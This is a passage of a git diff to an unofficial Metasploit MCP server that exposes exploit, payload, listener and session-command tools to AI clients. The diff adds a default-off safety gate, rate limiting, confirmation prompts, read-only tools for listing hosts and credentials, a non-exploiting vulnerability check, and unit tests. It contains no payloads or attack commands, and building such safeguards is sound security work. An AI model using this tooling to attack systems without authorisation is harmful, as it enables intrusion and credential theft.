_rate_events.popleft() + if len(_rate_events) >= limit: + return round(_RATE_WINDOW_SECONDS - (now - _rate_events[0]), 1) + _rate_events.append(now) + return None + + +async def _confirm_dangerous(ctx: Any, tool_name: str) -> bool: + """Best-effort user confirmation for a destructive action via MCP elicitation. + + Returns True to proceed, False if the user explicitly declined/cancelled. + When confirmation is disabled, or the client does not support elicitation, + this returns True and the (already-passed) safety gate remains the control. + """ + if not CONFIRM_DANGEROUS: + return True + elicit = getattr(ctx, "elicit", None) if ctx is not None else None + if not callable(elicit): + # Client/context cannot elicit — fall back to the gate (proceed). + return True + try: + result = await elicit( + message=f"Confirm running '{tool_name}'? This performs a state-changing/offensive action.", + response_type=None, + ) + except Exception as e: # elicitation unsupported at runtime -> gate fallback + logger.debug(f"Elicitation unavailable for {tool_name}, proceeding via gate: {e}") + return True + action = type(result).__name__ + if action == "AcceptedElicitation": + return True + # DeclinedElicitation / CancelledElicitation (or anything non-accepting) + return False + + +def dangerous_tool(func): + """Decorator gating a state-changing tool behind the dangerous-actions flag, + the rate limiter, and (optionally) elicitation confirmation. Returns a + structured error instead of running when blocked. Apply BELOW + ``@annotated_tool`` so FastMCP still sees the real signature + (``functools.wraps`` preserves it). + """ + + @functools.wraps(func) + async def wrapper(*args, **kwargs): + if not DANGEROUS_ACTIONS_ENABLED: + return { + "status": "error", + "error": "dangerous_actions_disabled", + "message": ( + f"'{func.__name__}' performs a state-changing/offensive action and this " + "server is running in safe mode (read-only tools only). Restart without " + "--safe-mode (or set MSF_MCP_ALLOW_DANGEROUS=true) to enable it." + ), + } + retry_after = _rate_limit_retry_after() + if retry_after is not None: + return { + "status": "error", + "error": "rate_limited", + "message": ( + f"Rate limit of {RATE_LIMIT_PER_MIN} requests/min exceeded. " + f"Retry in ~{retry_after}s." + ), + "retry_after_seconds": retry_after, + } + if not await _confirm_dangerous(kwargs.get("ctx"), func.__name__): + return { + "status": "cancelled", + "error": "cancelled_by_user", + "message": f"'{func.__name__}' was cancelled: user declined confirmation.", + } + return await func(*args, **kwargs) + + return wrapper + + # Regular Expressions for Prompt Detection MSF_PROMPT_RE = re.compile( rb"\x01\x02msf\d+\x01\x02 \x01\x02> \x01\x02" @@ -1041,6 +1183,72 @@ async def _received_request(self, *args, **kwargs): # Create FastMCP instance with default settings - will be reconfigured in main() mcp = FastMCP("Metasploit Tools Enhanced (Streamlined)") + +# --------------------------------------------------------------------------- +# Tool behavior taxonomy (MCP tool annotations) — single source of truth. +# +# Each tool advertises MCP annotation hints so clients can reason about and gate +# behavior. `destructiveHint: True` also marks the state-changing tools that the +# safety gate (@dangerous_tool) protects, keeping one authoritative classification. +# --------------------------------------------------------------------------- +_READ_ONLY = { + "readOnlyHint": True, + "destructiveHint": False, + "idempotentHint": True, + "openWorldHint": True, +} + + +def _destructive(idempotent: bool = False) -> Dict[str, bool]: + return { + "readOnlyHint": False, + "destructiveHint": True, + "idempotentHint": idempotent, + "openWorldHint": True, + } + + +TOOL_ANNOTATIONS: Dict[str, Dict[str, bool]] = { + # Read-only discovery / intelligence / status + "describe_module": _READ_ONLY, + "get_module_documentation": _READ_ONLY, + "list_exploits": _READ_ONLY, + "list_payloads": _READ_ONLY, + "list_active_sessions": _READ_ONLY, + "list_listeners": _READ_ONLY, + "list_hosts": _READ_ONLY, + "list_services": _READ_ONLY, + "list_vulnerabilities": _READ_ONLY, + "list_notes": _READ_ONLY, + "list_credentials": _READ_ONLY, + "list_loot": _READ_ONLY, + "check_vulnerability": _READ_ONLY, # probes a target but performs no exploitation + "get_module_results": _READ_ONLY, + "health_check": _READ_ONLY, + # State-changing / offensive (gated by @dangerous_tool) + "run_exploit": _destructive(), + "run_auxiliary_module": _destructive(), + "run_post_module": _destructive(), + "generate_payload": _destructive(), + "send_session_command": _destructive(), + "start_listener": _destructive(), + "terminate_session": _destructive(idempotent=True), + "stop_job": _destructive(idempotent=True), + "kill_all_handler_jobs": _destructive(idempotent=True), +} + + +def annotated_tool(func): + """Register a tool via ``mcp.tool`` with annotations from TOOL_ANNOTATIONS. + + Drop-in for ``@annotated_tool``; looks the tool up by function name (preserved + through ``@dangerous_tool`` via functools.wraps) so annotations live in one + place. Falls back to no annotations for an unlisted tool. + """ + ann = TOOL_ANNOTATIONS.get(func.__name__) + return mcp.tool(annotations=ann)(func) if ann else mcp.tool()(func) + + # --- Internal Helper Functions --- @@ -2620,7 +2828,7 @@ async def _execute_module_console( # --- MCP Tool Definitions --- -@mcp.tool() +@annotated_tool async def describe_module(module: str, module_type: str = "exploit") -> Dict[str, Any]: """ Get detailed information about a Metasploit module BEFORE using it. @@ -2843,7 +3051,7 @@ async def describe_module(module: str, module_type: str = "exploit") -> Dict[str return {"status": "error", "message": f"Unexpected error: {e}"} -@mcp.tool() +@annotated_tool async def get_module_documentation(module: str) -> Dict[str, Any]: """ Retrieve detailed usage documentation for a Metasploit module. @@ -3023,7 +3231,7 @@ async def _find_similar_documentation_files( return [] -@mcp.tool() +@annotated_tool async def list_exploits(search: str = "", ctx: Optional[Context] = None) -> List[str]: """ List available Metasploit exploits, optionally filtered by search term. @@ -3097,7 +3305,7 @@ async def list_exploits(search: str = "", ctx: Optional[Context] = None) -> List await keepalive.stop(send_completion=False) -@mcp.tool() +@annotated_tool async def list_payloads( platform: str = "", arch: str = "", @@ -3330,7 +3538,8 @@ def is_non_arch_specific(payload_path: str) -> bool: await keepalive.stop(send_completion=False) -@mcp.tool() +@annotated_tool +@dangerous_tool async def generate_payload( payload: str, format: str, @@ -3676,7 +3885,8 @@ async def update_runoption(key, value): await keepalive.stop(send_completion=False) -@mcp.tool() +@annotated_tool +@dangerous_tool async def run_exploit( module: str, options: Union[Dict[str, Any], str], @@ -4043,7 +4253,8 @@ async def run_exploit( return result -@mcp.tool() +@annotated_tool +@dangerous_tool async def run_post_module( module: str, session_id: int, @@ -4171,7 +4382,8 @@ async def run_post_module( await keepalive.stop(send_completion=False) -@mcp.tool() +@annotated_tool +@dangerous_tool async def run_auxiliary_module( module: str, options: Union[Dict[str, Any], str], @@ -4300,7 +4512,7 @@ def _hide_inactivity_timeout_from_signature(func): _hide_inactivity_timeout_from_signature(run_auxiliary_module) -@mcp.tool() +@annotated_tool async def list_active_sessions() -> Dict[str, Any]: """List active Metasploit sessions with their details.""" client = get_msf_client() @@ -4672,7 +4884,413 @@ async def _drive_shell_command( } -@mcp.tool() +# --------------------------------------------------------------------------- +# Metasploit workspace database (db.*) intelligence tools — read-only. +# Parity with the official Rapid7 MCP: hosts / services / vulnerabilities / +# notes / credentials / loot. Each is read-only and workspace-scoped, and each +# degrades to a structured error (never raises) when no database is attached. +# --------------------------------------------------------------------------- + + +def _decode_rpc(obj: Any) -> Any: + """Recursively decode msgpack byte keys/values to ``str`` for JSON-friendly output.""" + if isinstance(obj, bytes): + return obj.decode("utf-8", errors="replace") + if isinstance(obj, dict): + return {_decode_rpc(k): _decode_rpc(v) for k, v in obj.items()} + if isinstance(obj, (list, tuple)): + return [_decode_rpc(v) for v in obj] + return obj + + +async def _db_connected(client: Any) -> bool: + """Return True if a Metasploit database is attached to the RPC server. + + ``db.status`` returns e.g. ``{"driver": "postgresql", "db": "msf"}`` when a + database is connected; the ``db`` key is absent/empty otherwise. + """ + status = _decode_rpc(await asyncio.to_thread(lambda: client.call("db.status"))) + return bool(isinstance(status, dict) and status.get("db")) + + +async def _db_intel( + method: str, result_key: str, workspace: Optional[str] = None, **filters: Any +) -> Dict[str, Any]: + """Shared read-only helper for ``db.*`` listing calls. + + Returns a structured error (never raises) when the client is not initialized + or no database is attached, satisfying the degraded-mode requirement. + """ + try: + client = get_msf_client() + except ConnectionError as e: + return {"status": "error", "error": "not_initialized", "message": str(e)} + + try: + connected = await asyncio.wait_for(_db_connected(client), timeout=RPC_CALL_TIMEOUT) + if not connected: + return { + "status": "error", + "error": "database_unavailable", + "message": ( + "No Metasploit database is connected. Initialize one (msfdb init) and " + "restart msfrpcd against it to use workspace intelligence tools." + ), + } + + opts: Dict[str, Any] = {k: v for k, v in filters.items() if v is not None} + if workspace: + opts["workspace"] = workspace + + raw = _decode_rpc( + await asyncio.wait_for( + asyncio.to_thread(lambda: client.call(method, [opts])), + timeout=RPC_CALL_TIMEOUT, + ) + ) + if isinstance(raw, dict): + items = raw.get(result_key, []) + elif isinstance(raw, list): + items = raw + else: + items = [] + + return { + "status": "success", + "workspace": workspace or "default", + "count": len(items), + result_key: items, + } + except asyncio.TimeoutError: + return { + "status": "error", + "error": "timeout", + "message": f"Metasploit RPC did not respond within {RPC_CALL_TIMEOUT}s.", + } + except MsfRpcError as e: + return {"status": "error", "error": "rpc_error", "message": f"Metasploit RPC error: {e}"} + except Exception as e: # pragma: no cover - defensive + logger.exception(f"Unexpected error querying {method}") + return {"status": "error", "error": "error", "message": f"Unexpected error: {e}"} + + +@annotated_tool +async def list_hosts(workspace: Optional[str] = None) -> Dict[str, Any]: + """List hosts recorded in the Metasploit workspace database (read-only). + + Args: + workspace: Optional workspace name. Defaults to the current workspace. + + Returns: + Dict with status, workspace, count, and a ``hosts`` list (address, + hostname, os, state, ...). Returns a structured error when no database + is attached. + """ + return await _db_intel("db.hosts", "hosts", workspace) + + +@annotated_tool +async def list_services( + workspace: Optional[str] = None, + host: Optional[str] = None, + ports: Optional[str] = None, + proto: Optional[str] = None, +) -> Dict[str, Any]: + """List services recorded in the workspace database (read-only). + + Args: + workspace: Optional workspace name. + host: Optional host address to filter by. + ports: Optional port or port range filter (e.g. "445" or "1-1024"). + proto: Optional protocol filter (e.g. "tcp", "udp"). + + Returns: + Dict with status, workspace, count, and a ``services`` list (host, port, + proto, name, state, info). + """ + return await _db_intel( + "db.services", + "services", + workspace, + addresses=[host] if host else None, + ports=ports, + proto=proto, + ) + + +@annotated_tool +async def list_vulnerabilities( + workspace: Optional[str] = None, host: Optional[str] = None +) -> Dict[str, Any]: + """List vulnerabilities recorded in the workspace database (read-only). + + Args: + workspace: Optional workspace name. + host: Optional host address to filter by. + + Returns: + Dict with status, workspace, count, and a ``vulns`` list (host, name, + references such as CVE identifiers). + """ + return await _db_intel("db.vulns", "vulns", workspace, addresses=[host] if host else None) + + +@annotated_tool +async def list_notes( + workspace: Optional[str] = None, host: Optional[str] = None, ntype: Optional[str] = None +) -> Dict[str, Any]: + """List notes recorded in the workspace database (read-only). + + Args: + workspace: Optional workspace name. + host: Optional host address to filter by. + ntype: Optional note type filter. + + Returns: + Dict with status, workspace, count, and a ``notes`` list (host, type, data). + """ + return await _db_intel( + "db.notes", "notes", workspace, addresses=[host] if host else None, ntype=ntype + ) + + +@annotated_tool +async def list_credentials(workspace: Optional[str] = None) -> Dict[str, Any]: + """List credentials recorded in the workspace database (read-only). + + Args: + workspace: Optional workspace name. + + Returns: + Dict with status, workspace, count, and a ``creds`` list (associated + host/service, public and private components). + """ + return await _db_intel("db.creds", "creds", workspace) + + +@annotated_tool +async def list_loot(workspace: Optional[str] = None, host: Optional[str] = None) -> Dict[str, Any]: + """List loot recorded in the workspace database (read-only). + + Args: + workspace: Optional workspace name. + host: Optional host address to filter by. + + Returns: + Dict with status, workspace, count, and a ``loots`` list (host, type, + stored path/name). + """ + return await _db_intel("db.loots", "loots", workspace, addresses=[host] if host else None) + + +def _map_check_code(code: str) -> str: + """Map a Metasploit check ``code`` to a coarse, structured check state.""" + code = (code or "").lower() + if code in ("vulnerable", "appears", "detected"): + return "vulnerable" + if code == "safe": + return "safe" + if code == "unsupported": + return "unsupported" + return "unknown" + + +@annotated_tool +async def check_vulnerability( + module: str, + options: Union[Dict[str, Any], str], + module_type: str = "exploit", + timeout_seconds: int = 60, + ctx: Optional[Context] = None, +) -> Dict[str, Any]: + """Run a module's non-destructive ``check`` against a target (no exploitation). + + Runs Metasploit's ``check`` method only — it never fires the exploit, delivers + a payload, or opens a session. Use it to assess whether a target appears + vulnerable before deciding to run an exploit. + + Args: + module: Module name/path (e.g. 'windows/smb/ms17_010_eternalblue'). + options: Module options (dict or "K=V,K=V" string). Must include the + target (e.g. RHOSTS). + module_type: Module type; almost always 'exploit' (also 'auxiliary'). + timeout_seconds: Max seconds to wait for the check result (capped at 120). + + Returns: + Dict with check_state (vulnerable/safe/unsupported/unknown), the raw + check code and message, and session_created=False. + """ + timeout_seconds = min(timeout_seconds, MAX_TOOL_TIMEOUT_SECONDS) + try: + client = get_msf_client() + except ConnectionError as e: + return {"status": "error", "error": "not_initialized", "message": str(e)} + + try: + module_obj = await _get_module_object(module_type, module) + except InvalidModuleError as e: + return {"status": "error", "message": str(e)} + except Exception as e: + return {"status": "error", "message": f"Error loading module '{module}': {e}"} + + module_fullname = getattr(module_obj, "fullname", f"{module_type}/{module}") + + try: + module_options = _parse_options_gracefully(options) + except ValueError as e: + return {"status": "error", "message": f"Invalid options format: {e}"} + + # _set_module_options applies the control-character injection guard and + # reports missing/invalid options with a clear error. + try: + await _set_module_options(module_obj, module_options, module_type=module_type) + except ValueError as e: + return {"status": "error", "error": "invalid_options", "message": str(e)} + + # On pymetasploit3 module objects, `.check` is a BOOL indicating whether the + # module implements a check method (NOT the method itself). Use it to short + # -circuit unsupported modules before issuing the RPC. + supports_check = getattr(module_obj, "check", None) + if supports_check is False: + return { + "status": "error", + "error": "unsupported", + "message": f"Module '{module_fullname}' does not implement a check method.", + } + + # Run ONLY the check via the RPC module.check method (module_type, name, opts). + # This never fires the exploit, delivers a payload, or opens a session. + mtype = getattr(module_obj, "moduletype", module_type) + mname = getattr(module_obj, "modulename", module) + try: + check_start = await asyncio.to_thread( + lambda: client.call("module.check", [mtype, mname, module_options]) + ) + except MsfRpcError as e: + return {"status": "error", "error": "rpc_error", "message": f"Check failed to start: {e}"} + except Exception as e: + return {"status": "error", "message": f"Check failed to start: {e}"} + + check_start = _decode_rpc(check_start) + if isinstance(check_start, dict) and check_start.get("error"): + return { + "status": "error", + "error": "check_failed", + "message": check_start.get("error_message") + or check_start.get("error_string") + or "Check could not be started.", + } + uuid = check_start.get("uuid") if isinstance(check_start, dict) else None + if not uuid: + return { + "status": "error", + "error": "unsupported", + "message": f"Module '{module_fullname}' did not return a check job (check may be unsupported).", + } + + # Poll module.results[uuid] until the check completes. + loop = asyncio.get_event_loop() + deadline = loop.time() + timeout_seconds + while loop.time() < deadline: + res = _decode_rpc( + await asyncio.to_thread(lambda: client.call("module.results", [str(uuid)])) + ) + state = str(res.get("status", "")).lower() if isinstance(res, dict) else "" + if state in ("completed", "complete"): + result = res.get("result") if isinstance(res.get("result"), dict) else {} + code = str(result.get("code", res.get("code", ""))) + return { + "status": "success", + "module": module_fullname, + "check_state": _map_check_code(code), + "code": code or "unknown", + "message": result.get("message") or res.get("message") or "", + "session_created": False, + } + if state in ("errored", "error", "failed"): + return { + "status": "error", + "error": "check_failed", + "module": module_fullname, + "message": res.get("error") or "Check reported an error.", + } + await asyncio.sleep(0.5) + + return { + "status": "timeout", + "module": module_fullname, + "message": f"Check did not complete within {timeout_seconds}s.", + "execution_id": str(uuid), + } + + +@annotated_tool +async def get_module_results(execution_id: str) -> Dict[str, Any]: + """Retrieve results/status for an asynchronously launched module execution. + + Pass the ``uuid`` returned by a module-executing tool (run_exploit, + run_auxiliary_module, run_post_module, check_vulnerability) to poll its + accumulated output and completion status. + + Args: + execution_id: The execution/job UUID returned at launch time. + + Returns: + Dict with execution_status (completed / running / errored) and the + collected result, or a structured not-found error for an unknown id. + """ + if not execution_id: + return {"status": "error", "error": "not_found", "message": "No execution id provided."} + try: + client = get_msf_client() + except ConnectionError as e: + return {"status": "error", "error": "not_initialized", "message": str(e)} + + try: + res = _decode_rpc( + await asyncio.wait_for( + asyncio.to_thread(lambda: client.call("module.results", [str(execution_id)])), + timeout=RPC_CALL_TIMEOUT, + ) + ) + except asyncio.TimeoutError: + return {"status": "error", "error": "timeout", "message": "RPC did not respond in time."} + except MsfRpcError as e: + return {"status": "error", "error": "rpc_error", "message": f"Metasploit RPC error: {e}"} + + if not isinstance(res, dict) or not res: + return { + "status": "error", + "error": "not_found", + "message": f"No results found for execution id '{execution_id}'.", + } + + state = str(res.get("status", "")).lower() + if state in ("completed", "complete"): + return { + "status": "success", + "execution_id": execution_id, + "execution_status": "completed", + "result": res.get("result"), + } + if state in ("errored", "error", "failed"): + return { + "status": "success", + "execution_id": execution_id, + "execution_status": "errored", + "error": res.get("error") or res.get("error_message"), + } + # Anything else (typically "running") — return whatever partial data exists. + return { + "status": "success", + "execution_id": execution_id, + "execution_status": state or "running", + "result": res.get("result"), + } + + +@annotated_tool +@dangerous_tool async def send_session_command( session_id: int, command: str, @@ -5055,7 +5673,7 @@ async def send_session_command( # --- Job and Listener Management Tools --- -@mcp.tool() +@annotated_tool async def list_listeners() -> Dict[str, Any]: """ List all active Metasploit jobs, categorizing exploit/multi/handler jobs as "handlers". @@ -5140,7 +5758,8 @@ async def list_listeners() -> Dict[str, Any]: return {"status": "error", "message": f"Unexpected server error listing jobs: {e}"} -@mcp.tool() +@annotated_tool +@dangerous_tool async def start_listener( payload: str, lhost: str, @@ -5312,7 +5931,8 @@ async def start_listener( return result -@mcp.tool() +@annotated_tool +@dangerous_tool async def stop_job(job_id: int) -> Dict[str, Any]: """ Stop a running Metasploit job (handler or other). Verifies disappearance. @@ -5373,7 +5993,8 @@ async def stop_job(job_id: int) -> Dict[str, Any]: return {"status": "error", "message": f"Unexpected server error stopping job {job_id}: {e}"} -@mcp.tool() +@annotated_tool +@dangerous_tool async def kill_all_handler_jobs() -> Dict[str, Any]: """ Kill all active handler jobs (exploit/multi/handler). @@ -5474,7 +6095,8 @@ async def kill_all_handler_jobs() -> Dict[str, Any]: } -@mcp.tool() +@annotated_tool +@dangerous_tool async def terminate_session(session_id: int, kill_associated_job: bool = True) -> Dict[str, Any]: """ Forcefully terminate a Metasploit session using the session.stop() method. @@ -5633,7 +6255,7 @@ async def terminate_session(session_id: int, kill_associated_job: bool = True) - # Add both MCP tool and HTTP endpoint for health checking -@mcp.tool() +@annotated_tool async def health_check() -> Dict[str, Any]: """Check connectivity to the Metasploit RPC service (MCP tool version).""" try: @@ -5648,8 +6270,24 @@ async def health_check() -> Dict[str, Any]: msf_version = ( version_info.get("version", "N/A") if isinstance(version_info, dict) else "N/A" ) + # Report whether a database is attached so callers know if the workspace + # intelligence tools (list_hosts/services/vulns/...) are usable. + try: + database_connected = await asyncio.wait_for( + _db_connected(client), timeout=RPC_CALL_TIMEOUT + ) + except Exception: # pragma: no cover - db status is best-effort + database_connected = False logger.info(f"Health check successful. MSF Version: {msf_version}") - return {"status": "ok", "msf_version": msf_version} + return { + "status": "ok", + "msf_version": msf_version, + "database_connected": database_connected, + "safety": { + "dangerous_actions_enabled": DANGEROUS_ACTIONS_ENABLED, + "rate_limit_per_min": RATE_LIMIT_PER_MIN, + }, + } except asyncio.TimeoutError: error_msg = ( f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" @@ -5664,6 +6302,51 @@ async def health_check() -> Dict[str, Any]: return {"status": "error", "message": f"Internal Server Error during health check: {e}"} +# --------------------------------------------------------------------------- +# MCP resources — expose server info and module documentation as readable +# resources (in addition to the equivalent tools). +# --------------------------------------------------------------------------- + + +@mcp.resource("msf://server/info") +async def server_info_resource() -> Dict[str, Any]: + """Server identity, safety posture, and the tool behavior taxonomy.""" + try: + from importlib.metadata import version as _pkg_version + + pkg_version = _pkg_version("metasploit-mcp") + except Exception: + pkg_version = "unknown" + return { + "name": "MetasploitMCP", + "unofficial": True, + "affiliated_with_rapid7": False, + "version": pkg_version, + "safety": { + "dangerous_actions_enabled": DANGEROUS_ACTIONS_ENABLED, + "confirm_dangerous": CONFIRM_DANGEROUS, + "rate_limit_per_min": RATE_LIMIT_PER_MIN, + }, + "tool_annotations": TOOL_ANNOTATIONS, + } + + +@mcp.resource("msf://module/{module}") +async def module_doc_resource(module: str) -> Dict[str, Any]: + """Documentation for a module, addressable as a resource. + + ``module`` is the full module path with the type as the first segment, e.g. + ``exploit/windows/smb/ms17_010_eternalblue``. Clients that cannot place + slashes in a single URI segment should percent-encode them (``%2F``). + """ + module = (module or "").strip() + if "/" not in module: + return {"status": "error", "message": f"Expected '/', got '{module}'."} + module_type, module_name = module.split("/", 1) + # Reuse the module documentation tool (read-only, ungated). + return await get_module_documentation(f"{module_type}/{module_name}") + + # HTTP Health Check Endpoint from starlette.requests import Request from starlette.responses import JSONResponse diff --git a/tests/conftest.py b/tests/conftest.py index f85fc99..4e36af0 100644 --- a/tests/conftest.py +++ b/tests/conftest.py @@ -10,6 +10,13 @@ from tests import MockMsfRpcError +# Enable dangerous actions and disable rate limiting for the test suite BEFORE +# server.py is imported, so the many tests that exercise state-changing tools +# (run_exploit, start_listener, etc.) are not blocked by the default-off safety +# gate. Dedicated tests in test_safety_controls.py toggle these explicitly. +os.environ.setdefault("MSF_MCP_ALLOW_DANGEROUS", "true") +os.environ.setdefault("MSF_MCP_RATE_LIMIT", "0") + # Add the project root to Python path sys.path.insert(0, os.path.dirname(__file__)) diff --git a/tests/test_annotations.py b/tests/test_annotations.py new file mode 100644 index 0000000..9cf23c7 --- /dev/null +++ b/tests/test_annotations.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +"""Tests that every MCP tool advertises the expected behavior annotations.""" + +import asyncio +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +import metasploit_mcp.server as server + +# Tools expected to be gated by the dangerous-actions safety gate. +DESTRUCTIVE_TOOLS = { + "run_exploit", + "run_auxiliary_module", + "run_post_module", + "generate_payload", + "send_session_command", + "start_listener", + "terminate_session", + "stop_job", + "kill_all_handler_jobs", +} + + +def _registered_tools(): + tools = asyncio.run(server.mcp._list_tools()) + return {t.name: t for t in tools} + + +@pytest.mark.unit +def test_every_tool_has_annotations(): + tools = _registered_tools() + for name, tool in tools.items(): + assert tool.annotations is not None, f"{name} is missing annotations" + + +@pytest.mark.unit +def test_destructive_tools_flagged(): + tools = _registered_tools() + for name in DESTRUCTIVE_TOOLS: + assert name in tools, f"expected tool {name} not registered" + assert tools[name].annotations.destructiveHint is True, name + assert tools[name].annotations.readOnlyHint is False, name + + +@pytest.mark.unit +def test_read_only_tools_flagged(): + tools = _registered_tools() + read_only = [n for n, a in server.TOOL_ANNOTATIONS.items() if a["readOnlyHint"]] + assert read_only, "expected some read-only tools in the taxonomy" + for name in read_only: + assert tools[name].annotations.readOnlyHint is True, name + assert tools[name].annotations.destructiveHint is False, name + + +@pytest.mark.unit +def test_annotations_match_taxonomy(): + tools = _registered_tools() + for name, expected in server.TOOL_ANNOTATIONS.items(): + ann = tools[name].annotations + assert ann.readOnlyHint == expected["readOnlyHint"], name + assert ann.destructiveHint == expected["destructiveHint"], name + assert ann.idempotentHint == expected["idempotentHint"], name + assert ann.openWorldHint == expected["openWorldHint"], name + + +@pytest.mark.unit +def test_taxonomy_destructive_set_matches_gate(): + """The destructive taxonomy entries must be exactly the gated tools.""" + taxonomy_destructive = {n for n, a in server.TOOL_ANNOTATIONS.items() if a["destructiveHint"]} + assert taxonomy_destructive == DESTRUCTIVE_TOOLS diff --git a/tests/test_check_and_results.py b/tests/test_check_and_results.py new file mode 100644 index 0000000..20a2a7c --- /dev/null +++ b/tests/test_check_and_results.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +"""Tests for check_vulnerability (non-destructive) and get_module_results.""" + +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +import metasploit_mcp.server as server + + +def unwrap_tool(tool_obj): + for attr in ("fn", "func", "__wrapped__", "_func"): + if hasattr(tool_obj, attr): + return getattr(tool_obj, attr) + return tool_obj + + +check_vulnerability = unwrap_tool(server.check_vulnerability) +get_module_results = unwrap_tool(server.get_module_results) + + +class FakeModule: + """Mimics a pymetasploit3 module object. + + Note: `.check` is a BOOL (does the module implement check?), not the method. + """ + + fullname = "exploit/windows/smb/ms17_010_eternalblue" + moduletype = "exploit" + modulename = "windows/smb/ms17_010_eternalblue" + + def __init__(self, supports_check=True): + self.check = supports_check # bool attribute, matching pymetasploit3 + self.executed = False + + def execute(self, **kwargs): # must never be called by check_vulnerability + self.executed = True + return {"uuid": "should-not-happen"} + + +class FakeClient: + def __init__(self, check_start=None, results_by_uuid=None): + self.check_start = check_start if check_start is not None else {"uuid": "u1", "job_id": 1} + self.results_by_uuid = results_by_uuid or {} + self.calls = [] + + def call(self, method, args=None): + self.calls.append((method, args)) + if method == "module.check": + return self.check_start + if method == "module.results": + return self.results_by_uuid.get(args[0], {}) + return {} + + +def _wire(monkeypatch, module, client, set_options_raises=None): + monkeypatch.setattr(server, "get_msf_client", lambda: client) + + async def _get_module_object(mtype, mname): + return module + + async def _set_module_options(*a, **k): + if set_options_raises: + raise set_options_raises + return None + + monkeypatch.setattr(server, "_get_module_object", _get_module_object) + monkeypatch.setattr(server, "_set_module_options", _set_module_options) + + +@pytest.mark.unit +class TestCheckVulnerability: + async def test_vulnerable(self, monkeypatch): + module = FakeModule() + client = FakeClient( + check_start={"uuid": "u1"}, + results_by_uuid={ + "u1": { + "status": "completed", + "result": {"code": "vulnerable", "message": "MS17-010"}, + } + }, + ) + _wire(monkeypatch, module, client) + result = await check_vulnerability( + "windows/smb/ms17_010_eternalblue", {"RHOSTS": "10.0.0.1"} + ) + assert result["status"] == "success" + assert result["check_state"] == "vulnerable" + assert result["session_created"] is False + assert module.executed is False # never fired the exploit + + async def test_safe(self, monkeypatch): + module = FakeModule() + client = FakeClient( + check_start={"uuid": "u1"}, + results_by_uuid={"u1": {"status": "completed", "result": {"code": "safe"}}}, + ) + _wire(monkeypatch, module, client) + result = await check_vulnerability("exploit/x", {"RHOSTS": "10.0.0.1"}) + assert result["check_state"] == "safe" + + async def test_unsupported_when_module_lacks_check(self, monkeypatch): + module = FakeModule(supports_check=False) # .check == False + client = FakeClient() + _wire(monkeypatch, module, client) + result = await check_vulnerability("exploit/x", {"RHOSTS": "10.0.0.1"}) + assert result["status"] == "error" + assert result["error"] == "unsupported" + # Must not have issued the check RPC. + assert all(m != "module.check" for m, _ in client.calls) + + async def test_unsupported_when_no_uuid(self, monkeypatch): + module = FakeModule() + client = FakeClient(check_start={"job_id": 1}) # RPC returned no uuid + _wire(monkeypatch, module, client) + result = await check_vulnerability("exploit/x", {"RHOSTS": "10.0.0.1"}) + assert result["status"] == "error" + assert result["error"] == "unsupported" + + async def test_missing_required_option(self, monkeypatch): + module = FakeModule() + client = FakeClient() + _wire( + monkeypatch, + module, + client, + set_options_raises=ValueError("Missing required option: RHOSTS"), + ) + result = await check_vulnerability("exploit/x", {}) + assert result["status"] == "error" + assert result["error"] == "invalid_options" + + async def test_check_never_executes_exploit(self, monkeypatch): + module = FakeModule() + client = FakeClient( + check_start={"uuid": "u1"}, + results_by_uuid={"u1": {"status": "completed", "result": {"code": "appears"}}}, + ) + _wire(monkeypatch, module, client) + await check_vulnerability("exploit/x", {"RHOSTS": "10.0.0.1"}) + # No module.execute call, and no exploit execution occurred. + assert module.executed is False + assert all(m != "module.execute" for m, _ in client.calls) + + +@pytest.mark.unit +class TestGetModuleResults: + async def test_completed(self, monkeypatch): + client = FakeClient( + results_by_uuid={"abc": {"status": "completed", "result": {"output": "done"}}} + ) + monkeypatch.setattr(server, "get_msf_client", lambda: client) + result = await get_module_results("abc") + assert result["status"] == "success" + assert result["execution_status"] == "completed" + assert result["result"] == {"output": "done"} + + async def test_running(self, monkeypatch): + client = FakeClient(results_by_uuid={"abc": {"status": "running"}}) + monkeypatch.setattr(server, "get_msf_client", lambda: client) + result = await get_module_results("abc") + assert result["execution_status"] == "running" + + async def test_unknown_id_not_found(self, monkeypatch): + client = FakeClient(results_by_uuid={}) # returns {} for unknown uuid + monkeypatch.setattr(server, "get_msf_client", lambda: client) + result = await get_module_results("does-not-exist") + assert result["status"] == "error" + assert result["error"] == "not_found" + + async def test_empty_id(self, monkeypatch): + result = await get_module_results("") + assert result["status"] == "error" + assert result["error"] == "not_found" diff --git a/tests/test_db_intel.py b/tests/test_db_intel.py new file mode 100644 index 0000000..70d3a8d --- /dev/null +++ b/tests/test_db_intel.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python3 +"""Tests for the read-only MSF workspace database (db.*) intelligence tools.""" + +import os +import sys + +import pytest + +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +import metasploit_mcp.server as server +from metasploit_mcp.server import _db_intel, _decode_rpc + + +def unwrap_tool(tool_obj): + """Unwrap a FastMCP-decorated tool to its underlying coroutine function.""" + for attr in ("fn", "func", "__wrapped__", "_func"): + if hasattr(tool_obj, attr): + return getattr(tool_obj, attr) + return tool_obj + + +list_hosts = unwrap_tool(server.list_hosts) +list_services = unwrap_tool(server.list_services) +list_vulnerabilities = unwrap_tool(server.list_vulnerabilities) +list_notes = unwrap_tool(server.list_notes) +list_credentials = unwrap_tool(server.list_credentials) +list_loot = unwrap_tool(server.list_loot) + + +class FakeClient: + """Minimal stand-in for MsfRpcClient.call routing by RPC method name.""" + + def __init__(self, connected=True, data=None): + self.connected = connected + self.data = data or {} + self.calls = [] + + def call(self, method, args=None): + self.calls.append((method, args)) + if method == "db.status": + return ( + {"driver": "postgresql", "db": "msf"} + if self.connected + else {"driver": "postgresql"} + ) + return self.data.get(method, {}) + + +def _install_client(monkeypatch, client): + monkeypatch.setattr(server, "get_msf_client", lambda: client) + + +@pytest.mark.unit +class TestDecodeRpc: + def test_bytes_keys_and_values_decoded(self): + raw = {b"hosts": [{b"address": b"10.0.0.1", b"port": 445}]} + assert _decode_rpc(raw) == {"hosts": [{"address": "10.0.0.1", "port": 445}]} + + def test_passthrough_non_bytes(self): + assert _decode_rpc({"a": [1, "x", True]}) == {"a": [1, "x", 